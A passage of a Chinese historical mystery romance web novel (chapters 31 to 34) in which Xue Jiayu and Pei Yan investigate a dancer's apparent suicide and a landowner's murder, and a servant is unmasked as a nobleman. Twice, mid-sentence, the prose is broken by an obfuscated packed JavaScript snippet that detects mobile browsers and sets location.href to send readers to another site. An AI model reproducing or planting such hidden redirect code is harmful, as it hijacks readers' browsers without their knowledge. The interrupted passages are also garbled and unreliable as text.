陶维钧眉头微皱,他一身在高位之人,怎么会知晓一介下人的住所? 他抬头询问侍卫,得知答案后方再度扬起笑容,“夫人,这阿褚就住在西苑。” 薛嘉玉行了行礼,“多谢陶老。” 说完,便毫不犹豫地转头离开此处。 她现在忽然觉得这个阿褚也是个千年老狐狸,若是这陶维钧当真如他所说那般善良大度,那按理说对他这个养子也当上心,可是陶维钧却根本不知道他的住处。 看来,他的确在自己的身世上撒了谎。 可令薛嘉玉想不通地是,他为什么要撒谎?若是阿褚想要害陶维钧,大可一开始就用美男计向她卖惨,而不是替陶维钧说好话。 想到这儿,一颗石子忽然间“砰”的一声落在了她的脚前。 31. 我不介意 薛嘉玉向四周看去,瞧见阿褚正畏畏缩缩地躲在旁边的草丛后面,他探了半个脑袋出来,冲她招了招手,“姑娘,姑娘。” 她立刻提起裙摆,蹑手蹑脚地走到阿褚面前,“怎么了?为何要躲躲藏藏?” 阿褚蹲在地上,两条手臂交叠放在膝盖上面,他把脑袋埋进去,闷闷道:“我怕……我怕陶老打我……” 阿褚这番模样,看起来极其招人心疼,薛嘉玉好歹也是个人,看见可怜人也自然是会心软的,她蹲在阿褚面前,不禁抬起手摸了摸他的脑袋,“如今有我在呢,阿褚不必害怕。” 闻言,他将脑袋抬了起来,眸中似有泪水打转,看起来亮晶晶的,像是一只白色小兔子,阿褚两手抓住薛嘉玉的手臂,“真的吗?姑娘?” 薛嘉玉笑着点点头,可她的眼底却未掀起半点波澜。她柔声安抚:“阿褚,不用担心说实话会掉脑袋,这里可有裴大人在呢。你只需要将自己昨夜看到的一五一十地告诉我,不准骗我。” “我不会骗姑娘的!方才我说的的确没有假话。” “可是你并未看见燕柳姑娘的尸体被人运出来啊,这样的话就无法证明陈昭杀死了燕柳。况且,那些都是你听到的,不能作为呈堂证供。” 阿褚的眸中闪过一丝慌乱,“啊?这样吗?阿褚没读过书,不懂这些,只想着一心帮助姑娘。” 薛嘉玉不知他为何会想要帮助自己,但若是能够利用这份尚且不知真假的信任,也许能够获得突破。 “你昨夜同我说你是陶维钧的养子,可是为何他今日对你却一点也不亲近?” 阿褚抿了抿嘴唇,眼泪瞬间夺眶而出,划过了他白皙瘦削的面颊,“其实……昨夜我骗了姑娘,我并不是孤儿,也不是他的养子。我是一个弃子,刚生出来不久就被以贱价卖给了陶维钧,他只当我是个连提鞋都不配的贱奴。” “姑娘,我真的是贱奴吗?贱奴真的就不配好好活着吗?” 薛嘉玉安抚似的拍了拍他抓住自己手臂的手,“你当然不是贱奴,所有人都不是奴,你们选择当下人也只是为了讨生计而已,你们没有错,错的是给我们划分阶级的权贵。” 阿褚连连点头,转而抱住了薛嘉玉,他小声啜泣着,语气娇软,“姑娘真好,姑娘是我遇到过最好的一位姑娘。” 她知道人在最脆弱的时候,心理防线就越容易被攻陷,见这阿褚能在她面前流泪,想来现在应该趁机跟他拉近距离。 薛嘉玉拍了拍他的后背,“你不必叫我姑娘,实在是太客气了,叫我嘉玉吧。” “来,我们起来说话。”薛嘉玉扶着他从地上站起来,“饿了吗?饿了的话就随我一同去——啊!” 她刚一站起来,余光间却瞥见了站在草丛另外一边的裴砚,薛嘉玉好想闭上眼睛重新睁开一遍,她连忙收回搭在阿褚手臂上的手。 薛嘉玉的脸上忍不住溢出一丝苦笑,“大人,冤枉啊,我是为了正事。” 裴砚忽然觉得脑瓜子好疼,他又不忍心责骂她,而这阿褚身份尚且不清不楚,对他还是要谨慎一点才是,他捏了捏眉心,“罢了罢了,就当我没看见。” “那我带着阿褚去屋里吃早膳吧,正好我也饿了。” 他点了点头,没出声,随即就和金羽先行离开了。 薛嘉玉连忙带着阿褚一同回屋,这时裴砚已叫人把早膳上齐了,她让阿褚坐在自己旁边,给他夹了块枣糕,又给他盛了一碗莲子粥,“慢慢吃,不必拘束。” 阿褚盯着碗里盛好的莲子粥,他眸光微动,抬眼看向薛嘉玉,眸中满是欣赏和感恩,“多谢姑娘。” 她咬了块刚烤好的馕饼,“不必言谢,快吃吧,一会儿就冷掉了。” 这时,裴砚捂着嘴巴咳嗽了几声。 “咳咳咳。” 薛嘉玉闻声看去,不解地问:“大人,你昨晚睡地板着凉了?要不让金羽给你请个医师过来?” 裴砚将手放下,顿觉自己简直就是媚眼抛给瞎子看,他没有理会薛嘉玉的话,拿起勺子继续喝粥。 阿褚喝碗粥后,也没有知趣地离开,而是缠在薛嘉玉身边,“嘉玉,你会很快离开陶府吗?” 她忽地觉得自己如坐针毡,薛嘉玉强装镇定,强迫自己不要去看裴砚的脸,“不会啊,你为什么这么问啊?” 他敛了敛眉,由衷地说:“因为我舍不得你,你是唯一一个对我这么好的人。” 薛嘉玉的眼睛蓦地瞪大,视线在裴砚和阿褚之间逡巡,“可是我心悦裴大人。” “我不在乎的。” 裴砚将手里的筷子横放在碗上,不紧不慢地抬起头,对着金羽使了个眼神,金羽手脚麻溜地把阿褚扯走。 她一时间不知道说什么好,只浅浅扬起嘴角,盯着裴砚不说话。 裴砚把她面前的瓷碗拿过来,用勺子给她舀了一碗满满当当的莲子粥,“吃啊,别光盯着我看,不吃早膳啊。” 要不是因为这粥他先前也吃过,不然薛嘉玉定会怀疑他在里面下了毒,她握住勺柄,喝了一小口粥。 她用手帕擦了擦嘴角,“大人,俗话说宰相肚里能撑船,你就莫要斤斤计较。阿褚肯定是说来玩的。” 裴砚又给她加了几块枣糕和蛋饺,“说来玩的?我看他还挺认真的,你还主动给他夹菜盛粥,他对你动情倒是有理可循。” “好了文溪,就算阿褚心悦我,但我也不可能让他当我的面首啊,我哪儿来的钱啊?” “我也没真的生你的气,就是觉得你好像没有那么在乎我。” 薛嘉玉从凳子上蹭起来,她绕到裴砚后面,两手从后往前环住他的腰,弯下腰,凑到他的耳畔,二人的面颊轻柔地贴在一起,裴砚很少和女子靠得这么近,他的心脏猛地一颤,面颊不争气地染上一抹浅浅的羞红。 她歪了一下脑袋,视线饶有兴趣地落在了裴砚的脸蛋上,“文溪,你怎么脸红了?” 裴砚两手扣住板凳,往旁边挪了一下,与她拉开了一些距离,他冷着脸反驳:“我没有脸红!” “嘴硬!”说着,薛嘉玉就伸出一根食指,戳了一下他的脸蛋,裴砚的脑袋被戳得往旁边偏了一下,她叹了口气,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114773|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是能有人家阿褚一半坦诚,那就对了。” “我哪里不坦诚了?是你自己没有领会。” 他瞧着薛嘉玉那一脸无辜且疑惑的模样,就知道她肯定是真的没有领会,裴砚将旁边的凳子拉过来,让她坐下说话,他抬起右臂,轻轻揽住她的腰,“方才你给他盛粥的时候,我咳咳两声,想暗示你给我也盛一碗,但你却让我去看病。” “我当时真的不知道你是这个意思,以为是你昨夜着凉了,叫你去看病也是关心你好不好?自己不说明白点,我哪儿来那么多心思揣测你?” 薛嘉玉想着他会生气也是应该的,便拿起勺子舀了一勺粥,递到裴砚嘴前,“你就看在我都亲自喂你的份上,就大人不计小人过了好吗?” 裴砚一口咬住勺子,将勺里的粥全都吞下,他飞速地亲了一口她眉角的小痣,“好好好,我不生气了。那你从阿褚嘴巴里都打听到了什么?” 她拿起盘子上剩下的最后一个馕饼,“他说自己自小就被父母卖到了陶维钧这儿,陶维钧看不上他,对他根本就不好。” “你信吗?” 薛嘉玉毫不犹豫地就摇了摇头,“不信。我觉得他说的那些舍不得我,感恩我都是花言巧语。而且我还发现这个人很擅长用卖惨装可怜这一招来蛊惑人心。” “难怪你对他这么好,原来是因为你心疼他。” 她一把将手里香喷喷的馕饼丢在碗里,两手叉腰,“不是说好不提这件事情了吗?你怎么这么斤斤计较,小肚鸡肠?” “好,不提了,我已经派金羽去查此人的来历,想必不日就会有结果。” 薛嘉玉再度拿起馕饼,啃了一口,觉得这馕饼冷了之后有点硬巴巴的,就端起茶壶哐哐喝了几口,她才勉强把馕饼吞了下去。 她用手拍了拍胸脯,“大人,那个陈公子是什么来历啊?” “陈昭,来自长安陈氏,是陈晟的表弟。他是陈老最小的那个孩子,也是最受宠那个,被溺爱得天不怕地不怕,只爱游戏人间,比陈晟那人还要不靠谱。” “可他一个长安人怎么跑金陵来了?而且我瞧他对这里的路线甚是熟悉,想必不是第一次来这儿。” “这陶府养了这么多年轻貌美的侍女,难免不会有男子守不住自己的内心,想要和她欢度一夜。陈昭本就是万叶丛中过之人,来这儿寻乐子也是正常。” 她把最后一小块馕饼吞下去,一边嚼着馕饼,一边拍拍他的肩膀,含糊不清地说:“大人,我们再去看一眼燕柳吧。方才我没有看清楚她的伤口,说不定能从她的伤痕去判断那把刀是如何插进去的。” “好,我们走吧。” 裴砚让金羽暂且把她安置在一间通风凉快的屋子里,幸而这时已至十月,天气转凉,尸体腐烂速度减缓,查起来也更方便。 薛嘉玉站在燕柳身边,床上的她双眸紧闭,下巴和喉咙都沾有凝固的血迹,喉咙处那一道横形痕迹十分干净,说明下手的人十分心狠迅速,才能做到杀人的时候如此爽快。 “大人,你不觉得这喉咙上的伤口很奇怪吗?” 32. 阿褚 裴砚凑近一看,他虽然不是专业的仵作,但见过的死人多了,多多少少也能有一些经验,他从知道燕柳是割喉而死的时候,心里便觉得有些奇怪。 “割喉而死确实不算是一个最顺手的杀人方式,除非当时燕柳被凶手胁迫了,否则怎么看都觉得这是一种很奇怪、很别扭的手法。况且,若要结合阿褚的证言来说,陈昭是失手杀死了燕柳,那这得是要失手到什么地步?” 薛嘉玉用手指指着伤口的头和尾,“你瞧,这伤口是左边重,右边轻,也就是说这凶器是从燕柳的左边划到右边的。那么这样一看,就只有两种情况,一是凶手是个左撇子;二是……燕柳是自杀。” 裴砚迟疑道:“但我觉得她怀着孩子的情况下,应该不会自杀。” 却见她缓慢地摇了摇脑袋,薛嘉玉扬唇一笑,“大人也太看不起女子的心性了吧?若是燕柳被逼到了一个绝境或是要被迫去做什么事情,那可就说不到一定了。” 他毕竟不是女子,自然不会那么的了解女子,裴砚好奇一问:“不都说女子怀孕后就会萌生出一种难以克制的母爱吗?” “我怎么知道?我又没怀过孩子。” 薛嘉玉将燕柳的衣服整理得规规矩矩,顺带把放在袖子里面的虎头帽拿出来,掰开她曲起来的僵硬至极的手指,然后把虎头帽塞进了她的手心里。 裴砚牵起她的手,“走吧,我们去找找陈昭,勿要在这里打扰她了。” 她现在心里面很乱,有很多个想不通答案的问题,薛嘉玉总觉得以燕柳的舞技,是万万不至于让她找不到生计,只能去陶府里面做差事的。 薛嘉玉甩甩脑袋,强迫自己不要去深思这些问题,当务之急还是要先了解清楚昨晚究竟都发生了什么。 二人来到陈昭厢房,此时陈昭正坐在椅子上喝茶,左右两边都有侍女在旁边喂他吃水果和甜点,面前有一大堆舞姬跳着时兴的舞蹈,倒是挺有兴致。 陈昭瞧见了裴砚的身影,就抬起手臂,冲他招了招手,“裴大人,你来得正好,过来坐下一起赏舞听曲儿吧。” 裴砚大马金刀地坐在椅子上,用手理了理裙摆,“不必了,本官可没有陈公子这么好的兴致。” “也是,如今陶府死了人,而且金陵还有那么多的少女都失踪了,裴大人自然是忙得焦头烂额,没有兴致在这儿享乐。” 裴砚将右手肘搁在木桌上,面若冰霜,眸中尽显冷漠,“昨夜你和燕柳发生了什么?若是不一一道来,我可就要相信阿褚的证言了。想必陈公子也不想要进大理寺的牢狱吧?一路上押你回京,可不风光。” 陈昭不语,只好笑地勾了勾唇角,他把玩着左手大拇指上的红玛瑙扳指,“裴大人,你这话说得还挺有意思。我陈氏乃是簪缨世家,会惧怕你小小一个大理寺?” 他抬起头,对金羽使了一个眼神,金羽立刻心领神会,他走到陈昭面前,单手揪起他的衣领,硬生生将刚才盛气凌人的陈昭从椅子上拖了起来,随后便拎着他走到裴砚身前,金羽一松手,陈昭就直接双膝跪在了地上,他方才的模样甚是狼狈,在旁候着的仆人们迅速将舞姬们打发走,旋即便识趣地退下。 裴砚端起茶杯,用茶盖轻轻地刮了刮杯沿,只靠近嗅了嗅,没有喝,便放回了桌子上。 “陈昭,说话倒不用如此咄咄逼人吧?我此行也是奉了圣人的旨意,若是没有办好,还任人欺压大理寺,你说圣人知道了的话会怎么做?” 陈昭跪坐在地上,他两只手掌心撑在膝盖上,脸上依旧风轻云淡,根本不见一丝惧怕之色。 他轻哼一声,“我知道你与圣人交好,但也没必要那这个欺压我这种平头百姓吧。” 裴砚一把抽出金羽腰间的佩剑,剑柄上面雕刻着一条蜿蜒的青蛇,他握住剑柄,翻了翻剑身,银色的剑上倒影出他冷峻锋利的侧脸,旋即他把冰冷的剑贴在了陈昭的侧脸上,轻轻地摩挲着。 “裴砚!你敢对我动手?” 只听他嗤笑一声,“我是官,你是民,你不让我拿圣人压你,那我便用官职压你,可满意?” 陈昭向下挪动眼睛,瞥向紧紧贴在自己侧脸上的剑,他知道若是当真激怒了裴砚的话,他这张俊秀的脸蛋恐怕就当真保不住了。 他悻悻收回眼神,嘴角抽搐了一下,最终还是败在了冷兵器面前,“昨夜燕柳死活不肯从了我,我气得打了她几下,可是她居然以死相逼,我不想闹出人命,所以就把她放走了。后面的事情,我可真就一点都不知道了。” “那当时燕柳可有说出理由?” “理由?”陈昭没想到他居然会问的这么细,他好笑道:“裴砚,你也是有家室的,这种事情还需要问理由吗?无非就是来癸水了,或者单纯不情愿嘛。” 裴砚和薛嘉玉交换了一个眼神,看来陈昭并不知道燕柳怀有身孕的事情。 毕竟这种事情没有任何隐瞒的必要。 薛嘉玉皱了皱眉头,“陈公子,我瞧你对这陶府甚是了解,想必你应该经常来这里,那你可知道燕柳是什么时候来的陶府,又是为什么来了这里?” 陈昭想也没想便脱口而出,“我记得燕柳是半个月前来的这里,她当时身无分文,为了生计就来了这里。再加上她皮相不错,挺受青睐的。” 他所说的倒是和陶维钧说得一模一样,甚至高度相似得有些奇怪。 裴砚看得出来薛嘉玉有话想要跟他说,就速速带着她离开了这里,待走远后裴砚才靠近询问:“你方才想到了什么?” “其实当时在洛阳的时候,有一件事情我一直没有和你说。”薛嘉玉本对此事没有上什么心,甚至都快要忘记了,直到刚才听了陈昭的话,她才开始起了疑心,“那时我和景天喝完酒从长乐坊出来,就碰见了一堆专门拐卖妇女的壮汉,如果说当初燕柳在离开长乐坊的时候也遇见了同样的事情,被那伙人拐走了呢?” 裴砚毕竟是在长安做官,所以不太了解洛阳的情况,所以当他听见拐“拐卖”的时候,还是忍不住眼皮一跳,甚感惊讶。 “洛阳?拐卖?确实不乏这样一种可能性。” 薛嘉玉两手抱在胸前,她心不在焉地踢了踢路上的石子,裴砚见状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118173|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便抬手握住她的肩头,“不必担忧,目前也暂且查不出来多的东西来了,你回房休息吧,我再去会会陶维钧。” “行,你小心一些。” 她刚一回到厢房,就被阿褚从后面握住了手腕,薛嘉玉猛地回头,见来者是阿褚,便悄悄松了口气,她还以为是陈昭派来绑架她的人呢。 “怎么了?阿褚,你可是又想到了什么?” 阿褚摇了摇头,眼神中都透露着一种清澈的无辜,他明明比薛嘉玉高了整整一个脑袋,可却给人一种十分娇小,需要依靠他人的感觉。 “姑娘,我瞧这天气,今夜恐怕会刮风下雨,晚上就莫要出门了,以免遇到危险。” 听后,薛嘉玉莞尔一笑,“我知道,谢谢你。” 阿褚抿了抿浅粉色的嘴唇,双唇滋润,看起来十分诱人,他伸出舌头轻轻舔了一下嘴唇,缓缓道:“姑娘,可有结果了?” 她浅浅叹了口气,眉间染上一抹忧愁,薛嘉玉有些灰心丧气地说:“还没有,现在正卡在瓶颈的位置呢。阿褚,你若是有什么发现,一定要告诉我啊,可千万别瞒着我。” “放心姑娘,我绝不会欺骗你。” 说罢,阿褚转身往外面走了几步,但旋即又绕了回来,盯着薛嘉玉心事重重地脸庞看了许久,终是在心里叹了口气,“姑娘,我想此案并没有表面上看着的那么简单,看不见的地方定是盘根复杂。我看姑娘是个真心善良的人,莫要为了寻求真相,把自己搭进去。” 话音刚落,薛嘉玉本想追上去再多问几句的,可阿褚就已经快步跑走,消失得无影无踪。 她单手扒在门框上,忍不住在心里面思考,这个人究竟是什么来头? 他的一言一行,都不像是一个仆人。 算了,还是等金羽去查吧。 不知不觉间,黑夜笼罩大地,大风席卷金陵,办完事的裴砚身着红衣,穿破伸手不见五指的黑夜,他步履匆匆地回到厢房,瞧见薛嘉玉正在关窗户,裴砚大步上前,悄悄从后面抱住她的腰,手指还不自觉地捏了捏她肚子上的肉,“最近长胖了?” 薛嘉玉关上窗户,用力地拍了一下他的手背,“别闹,我跟你说,今天下午阿褚又来找我了······” 她将今日下午阿褚说得话全都一五一十地转述给了裴砚。 其实,裴砚此刻匆匆赶回来,也是想跟她说阿褚的事情的。 裴砚将她抱到后面的储物柜上面坐着,牵着她的两只冰冷的手,与面前披头散发的薛嘉玉平视,“阿玉,我托金羽查的事情有结果了。” 薛嘉玉急迫地问:“所以阿褚到底是怎么回事?” “金羽查到长安越家的小儿子一月前就离开了长安再未回来,因为他从小都爱离家独自游历,所以他的家人并没有上心。可是他最后到的一个地方就是金陵,便再无踪迹可循了,而且很巧合的是,这越家的小公子名叫越褚。” 听及此,她的眉头陡然皱了起来,语气中夹杂着一丝狐疑,“越褚?阿褚?可是在金陵失踪的不都是女子吗?怎么混进来一个男的?” 33. 吻上去 裴砚向来喜静,所以很少去参加那些公子举办的各种茶会或是什么别的宴会,也就没有和越褚交谈过,就算曾经可能有过匆匆一瞥,他也早就把这人抛到九霄云外去了,只是二人毕竟都身在长安,又是出身世家大族,所以难免对越褚这个人有所耳闻。 “我听说越褚一直想要进大理寺或者刑部,由此可见他对于探案是有一定执着的,保不齐这人是不是因为好奇女子失踪的真相,才故意潜进来的。反正他身份高贵,要是当真被困在这里一年半载的,越家也会为了找他倾巢而动。” 薛嘉玉忽然觉得这越褚是吃饱了撑的,他又不是官,何必以身涉险去查女子失踪案? 但她也忍不住在心里面庆幸那一夜没有没有真的亲上他,否则薛嘉玉肯定吃不了兜着走。 没想到这个看着可怜兮兮的人,居然会是出身名门望族的公子。 她摇摇头,暗暗道:果然,男人都是最会装的。 薛嘉玉从储物柜上跳下去,“那越褚说得话,我们还能相信吗?” 回来的路上,裴砚也在纠结这个问题,不过他觉得越褚若真是想要真相大白的话,那他定然会道出真相,但是裴砚方才听了越褚对她说得话,忽然起了疑心。 什么叫做地下盘根错节?是指陶维钧和官府有勾结?还是陶维钧和陈昭有勾结?亦或是越褚和他们之间有勾结? 薛嘉玉不了解世家大族之间的联系,也不懂他们之间的明争暗斗,所以她想不明白越褚那句话的深层含义。 她坐在床榻上,将左脚靠在右腿上,刚脱下鞋子,就听见外面响起了打雷的声音,紧接着大雨稀里哗啦地从黑夜中降落,薛嘉玉的脑海里再度响起了越褚的那句话——“今夜会下雨,姑娘就莫要外出,以免遇到危险。” 薛嘉玉顿觉头皮发麻,此时苍穹之上一道紫色闪电忽然穿透云层,伴随着震耳欲聋的“咚隆咚隆”的声音,她蓦地弯腰抓住了裴砚的手臂。 裴砚翻了个身,僵硬的地板十分咯骨头,他含着笑问:“害怕打雷?” “不是,我是又想起了越褚叮嘱我今夜下雨不要出门的那句话,他说出门会遇到危险,可我怎么越想越不对呢?” 他反握住薛嘉玉的手,轻轻拍了拍她的手背,裴砚温柔地勾起唇角,“你不必担心,外面有金羽守着呢,如果外面发生了什么风吹草动的话,他会第一时间前去处理。” 闻言,薛嘉玉倒是安心了不少,她躺在床榻上,头发都被拢在了身前,“也是,我就不庸人自扰了。” 雷声直到寅时才消停,薛嘉玉倒是没睡一个好觉。 辰时天光乍现,乌云渐渐散去,地上满是雨渍和残花败柳,残留的雨水多得都快要形成一个湖泊了。 裴砚都已经换好衣服,将一切都收拾好了,而薛嘉玉还坐在凳子上挽头发,她一手救助头发,一手拿着木梳,耐着性子梳了个朝云近香髻。 薛嘉玉带过来的发簪不多,只在头上簪了三枚朱钗,倒是显得这朝云近香髻有点寒酸单调了。 这时,一直在旁边好整以暇看她梳妆的裴砚出声了,“很好看。” “真的——” 话尚且没有说完,裴砚便二话不说直接吻上了她的唇,“我倒觉得满头珠钗不太适合你,还是简单一点好看。” 薛嘉玉皱着眉头,她见那些长安贵女们都是满头金钗,看起来十分耀眼华丽,自己也挺向往的。 “当真?” “当真,我何时对你说过假话?” 她瘪了瘪嘴巴,将手掌心贴在裴砚的脸颊上,轻柔地拍了拍,“可是你这次却拍错马屁了,我也很喜欢满头珠钗的样子,总觉得那样光彩夺目、意气风发。” 裴砚以为她是在暗示自己,弱弱地试探:“那我给你买?” 薛嘉玉收拾好妆奁,对着镜子理了理单肩绿色披帛,“不用,我买得起。” 他两手捧着薛嘉玉的脸蛋,“我就——” 砰! 大门被火急火燎赶来的金羽用蛮力推开了。 吓得里面这两位立刻分开出了一条楚河汉界。 裴砚总觉得自己的小心脏迟早有一天会被金羽给吓得瞬间骤停。 他直起身子,用手整理了一下衣服,“什么事?慌慌张张的,一点都不成样子。” 金羽气喘吁吁,单手扶着门框,“大人!不好了,陶维钧死了。” 听见这个消息,薛嘉玉立刻从凳子上跳了起来,“什么?快带我们去看看。” 路上,金羽跟他们两个人简单解释了一下情况,“陶维钧的尸体是今早被路过的小厮发现的,当时正被埋在土里面,就漏了两条腿和两只手出来,等陈昭下令把陶维钧挖出来的时候,他身上全都是伤痕,血液凝固全身,面目全非,皮开肉绽,还有不少的苍蝇和蚂蚁啥的再上面啃食。那个场景别提有多么骇人了,看见的人都忍不住吐了。” 到了现场,就算是办过不少案子的裴砚也忍不住用袖子遮住自己的鼻子,实在是死得太惨烈了,浑身上下就没有哪个地方是完完整整的,伤口溃烂不堪,眼睛瞪大,死不瞑目。 裴砚将视线投到一旁游手好闲的陈昭身上,“陈昭,我堂堂一个大理寺少卿都还没来,你就先下令让人把陶维钧的尸体给挖出来了,要是一不小心破坏了现场,丢失了线索,你担待的起吗?” 陈昭脸上甚至还挂着一丝笑容,他不正经地回应:“大人晚上有夫人陪着,我这不也是怕耽误了你们的好事嘛,所以才没有提前知会你一声。” 他一道冷冽的目光朝陈昭扫去,陈昭扬了扬眉毛,立刻改口:“好,是我错了,不过我这也是担心陶老嘛。” 薛嘉玉蹲在地上,由于陶维钧被埋在土里面,皮肤上都糊着湿润的泥土,根本看不清伤口痕迹和尸斑,她抬起头,看向站在面前的几个男人,“你们几个,来跟我一起把他身上的泥土弄掉。” 裴砚 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根据身上的尸斑的数量和深浅程度,薛嘉玉推测他应该是昨夜亥正时分死的,不过由于被埋在地下,气温较低,所以死亡时间也许还要再往前面推半个时辰到一个时辰。 况且昨夜下了狂风暴雨,将现场的痕迹都一扫而空。 薛嘉玉用手指拨了拨额前的碎发,“今早是哪位小厮发现的?” 这时,躲在人群后面的一位小厮颤颤巍巍地举起手臂,缩头缩脑的,“是——是我。” “你发现他的时候是什么样子的?” 小厮简单回忆了一下,“当时我正打算把花盆搬到东苑去,结果却看见地上有两条手臂和两条腿,我吓得屁滚尿流,花盆都打碎了。” 听及此,薛嘉玉陡然蹙起眉头,虽说昨夜下了雨,雨水会冲刷一部分泥土,但是只有埋得浅才会这么快就露出来。 那凶手杀人的目的何在?埋他又是为了什么? 裴砚接着问:“这条路通向东苑?东苑都是谁住的?” 小厮两手抓住衣服,老老实实回答:“是侍女们住的地方。” 裴砚沉默地点了点头,继而把视线投到了越褚身上,他伸手将薛嘉玉扯过来,“阿褚,随我来。” 阿褚立刻迈着步子跟在薛嘉玉身后,他单手握住薛嘉玉的手臂,“姑娘,这……怎么又死人了呢?” 她将自己的手抽了出来,“阿褚,你是不是早就料到了陶维钧死的这一天?” “陶维钧作恶多端,迟早都会被自己以往做的孽害死。” 薛嘉玉摇摇头,懒懒掀起眼皮,双眸无情,“不,我是说,你是不是早就想好怎么杀死陶维钧了?” 阿褚挑了挑眉毛,他有些听不懂,眸中尽显疑惑,旋即意味不明地笑了下,“姑娘,你在说什么啊?我怎么可能会杀他呢?” 34. 吃醋 阿褚跟着他们两个人来到厢房,心里隐隐察觉出一丝不对劲,但他还是理直气壮地拉开凳子坐下,视线紧紧跟随着下人们手里的佳肴。 薛嘉玉这次再也不敢给阿褚盛粥了,她抄起筷子,夹了一块酥油饼到裴砚的碗里。 阿褚盯着面前这一幕,心中不免有些落寞,“姑娘,你今日怎么不给我盛粥了?” 裴砚蓦地出声,语气不太友好,“越褚,你是她的夫君还是什么?她凭什么给你盛粥。” 听见“越褚”这两个字,他顿时压低眉毛,眸中的单纯清澈不再,转而替代的是阴鸷冷漠,越褚放下手里的筷子,饶有兴致地看向裴砚。 “看来你还是知道了。” 跟聪明人说话,裴砚也懒得和他兜圈子,“你来这儿的目的是什么?” “当然是来瞧瞧那些女子是怎么失踪的。” “那你现在都知道了些什么?那些女子当真都是那些被拐的失踪女子?” 越褚和裴砚的目的是一样的,都是为了查清女子失踪案,所以他也没有说谎,“一开始其实并不是强行拐走的,有些女子实在是走投无路了,不得不倚靠这一行来赚钱,陶维钧尝到了甜头,就开始悄悄养私妓,只为了赚那些达官显贵的钱。” 薛嘉玉察觉到了这两个男人之间的暗流涌动,就偷偷挪了挪凳子,跟这两个男人之间都隔着楚河汉界,她咬了口葱油饼,忍不住发问:“但是燕柳是洛阳人,陶维钧也不敢把手伸那么远吧?” 越褚回答:“有可能是被卖了一次之后又转卖到了金陵吧。” 听后,她用筷子戳了戳葱油饼,直到把饼戳成了一个蜂窝才罢休。 裴砚接着问:“那你对于陶维钧被杀有什么想法?” 越褚的眸中划过一丝疑惑,好笑地问:“你不怀疑是我杀的?” “不怀疑,因为你根本就没必要去杀。” “想从我这儿套消息也可以,不过——”越褚说到这里忽然顿了一下,他将自己的碗推到薛嘉玉面前,“得要姑娘亲自给我盛一碗粥。” 为了破案,还燕柳一个真相,薛嘉玉勉强不和越褚计较,她拿起勺子,给他盛了满满的一碗,“这下越公子总可以说了吧。” 裴砚气得脸都绿了。 越褚抄起勺子,满足地喝了一口燕窝粥,“其实……燕柳是自杀的。那夜我瞧见了她的尸体,想着说能不能借她的死,将陶府的事情引出来,就把她手里攥着的刀给扔到山下面去了,并且给你们提供了不太完整的证言,其实你们验了尸之后心里面应该也有数了吧。。除了这个以外,我还打听到东苑的那些侍女们其实都是私妓,侍女只是一种美化说法。” 薛嘉玉忍不住唏嘘,虽说现在是搞明白了燕柳的死因,但是却不知道她为何要死,到底是什么把她逼上了绝路。 沉思着,她发现自己的视线里忽然间出现了两双筷子,碗里多了一个白色元宝似的蒸饺和一个吹弹可破的小笼包,薛嘉玉猛地抬眼,先是看了眼裴砚,之后又看了一眼越褚。 为了两人都不得罪,薛嘉玉剑走偏锋,用筷子各自打了下他们的筷子,然后另外拿了一个干净的碗,“我不吃这些。” 二人竟异口同声道:“那你想吃什么?” 裴砚将手里的筷子瞄准越褚的脑袋,毫不犹豫地扔了出去,“你哪儿来的脸问?” 越褚眼疾手快地抬手握住飞来的筷子,他不由分说就将筷子掰断,“我都说了,我对薛姑娘十分感恩,也并不介意做她的面首。” 薛嘉玉眼皮一跳,就知道这两人撞在一起绝对没有好事,“越公子,我如今只喜欢文溪一人,也不会养面首,还望越公子放过我吧。” 闻言,裴砚的脸上顿时浮现出一丝得意洋洋的神色,他抢过薛嘉玉碗上放着的筷子,夹了一个蒸饺来吃,“听到了吗?越褚,你若是再纠缠下去,那可就不礼貌了。” 他说不过裴砚,放下手里断掉的两节筷子,就愤愤离开了这个伤心之地。 见他走后,薛嘉玉就把他手里的筷子抢了回来,“我看呐,人家越公子还是挺不错的,家世好,外貌好,而且人家可不像你一样拈轻怕重,叫你帮忙打理一下泥土,你都不愿。” “这不是因为我身上穿的是浅色衣裳嘛。” 他这套说辞,在薛嘉玉这里可没用。 薛嘉玉轻言反驳,“是么?我怎么记得之前大人爬斜阳山的时候,穿的还是一套白色长袍,那个时候大人的裙摆弄脏了,还说弄脏了就弄脏了,无所谓。这才堪堪过了一个多月,大人就转性了?” 裴砚巧舌如簧,“这不是得要在你面前保持良好形象嘛。” “走开,我喜欢的是你这个人,又不是你的衣裳。” 他不要脸地拖着凳子凑过来,“好啦好啦,以后再也不这样了,行吗?” 薛嘉玉此时一心只想破案,她用手帕擦了擦嘴周,从凳子上站起来,“我们还是快点去东苑瞧瞧吧。” 路上,她把自己关于陶维钧死亡的想法一一告知给裴砚,裴砚回想了一下自己昨晚离开陶维钧书房的时辰,“陶维钧应当是在我离开后不久就被杀害了,杀他的人应该一直潜伏在附近。” “只是这凶手得是有多大的恨?才会在陶维钧身上留下这么多的刀痕。” 裴砚抬起头,风雨过后的金陵是艳阳高照,一片蔚蓝色的天空之上没有任何云朵的阻碍,太阳的光线十分耀眼,他仅仅看了一瞬,便收回眼神。 